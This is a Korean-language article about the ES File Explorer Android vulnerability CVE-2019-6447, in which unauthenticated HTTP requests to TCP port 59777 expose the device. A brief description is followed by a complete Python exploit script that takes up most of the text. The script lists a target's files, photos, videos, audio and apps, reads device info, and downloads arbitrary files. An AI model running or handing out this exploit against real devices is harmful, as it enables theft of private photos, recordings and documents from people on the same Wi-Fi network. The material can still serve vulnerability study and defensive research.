
ES File Explorer의 Android 취약점 악용
ES 파일 탐색기에서 Android 취약점 악용
ES 파일 탐색기는 DO Global의 일부이며 중국에 기반을 둔 ES worldwide에서 만들었습니다. 이 ES 파일 탐색기는 Android 운영 체제를 실행하는 모바일 장치에서만 사용할 수 있습니다. 현재 ES 파일 탐색기는 총 1억 회 이상 다운로드되었습니다. 이 애플리케이션은 Android의 유명한 파일 탐색기이므로 많은 주목을 받고 있습니다. 반면에 2019년 사이버 보안 전문 연구원들은 ES File Explorer 4.1.9.7.4 버전에서 취약점을 발견했습니다. 이 취약점을 악용할 수 있는 공격자는 ES 파일 탐색기에 저장된 모든 민감한 사용자 데이터를 수집할 수 있습니다. 여기에는 사진, 비디오, 음성 녹음, 문서 및 기타 데이터 유형이 포함됩니다.
Android용 ES File Explorer File Manager 애플리케이션은 4.1.9.7.4 버전까지 로컬 Wi-Fi 네트워크의 원격 공격자가 TCP 포트 59777에 쿼리를 보내 임의의 파일을 읽거나 앱을 실행할 수 있도록 합니다. ES 애플리케이션이 한 번만 실행된 후에도 이 TCP 포트는 계속 열려 있으며 HTTP를 통해 전송된 인증되지 않은 application/json 데이터에 응답합니다.
4.1.9.7.4 버전
angler:/ # netstat -ap | grep com.estrongs
tcp6 0 0 :::59777 :::* LISTEN 5696/com.estrongs.android.pop
import requests
import json
import ast
import sys
if len(sys.argv) < 3:
print(f"USAGE {sys.argv[0]} <command> <IP> [file to download]")
sys.exit(1)
url = 'http://' + sys.argv[2] + ':59777'
cmd = sys.argv[1]
cmds = ['listFiles','listPics','listVideos','listAudios','listApps','listAppsSystem','listAppsPhone','listAppsSdcard','listAppsAll','getFile','getDeviceInfo']
listCmds = cmds[:9]
if cmd not in cmds:
print("[-] WRONG COMMAND!")
print("Available commands : ")
print(" listFiles : List all Files.")
print(" listPics : List all Pictures.")
print(" listVideos : List all videos.")
print(" listAudios : List all audios.")
print(" listApps : List Applications installed.")
print(" listAppsSystem : List System apps.")
print(" listAppsPhone : List Communication related apps.")
print(" listAppsSdcard : List apps on the SDCard.")
print(" listAppsAll : List all Application.")
print(" getFile : Download a file.")
print(" getDeviceInfo : Get device info.")
sys.exit(1)
print("\n==================================================================")
print("| ES File Explorer Open Port Vulnerability : CVE-2019-6447 |")
print("| Coded By : Nehal a.k.a PwnerSec |")
print("==================================================================\n")
header = {"Content-Type" : "application/json"}
proxy = {"http":"http://127.0.0.1:8080", "https":"https://127.0.0.1:8080"}
def httpPost(cmd):
data = json.dumps({"command":cmd})
response = requests.post(url, headers=header, data=data)
return ast.literal_eval(response.text)
def parse(text, keys):
for dic in text:
for key in keys:
print(f"{key} : {dic[key]}")
print('')
def do_listing(cmd):
response = httpPost(cmd)
if len(response) == 0:
keys = []
else:
keys = list(response[0].keys())
parse(response, keys)
if cmd in listCmds:
do_listing(cmd)
elif cmd == cmds[9]:
if len(sys.argv) != 4:
print("[+] Include file name to download.")
sys.exit(1)
elif sys.argv[3][0] != '/':
print("[-] You need to provide full path of the file.")
sys.exit(1)
else:
path = sys.argv[3]
print("[+] Downloading file...")
response = requests.get(url + path)
with open('out.dat','wb') as wf:
wf.write(response.content)
print("[+] Done. Saved as `out.dat`.")
elif cmd == cmds[10]:
response = httpPost(cmd)
keys = list(response.keys())
for key in keys:
print(f"{key} : {response[key]}")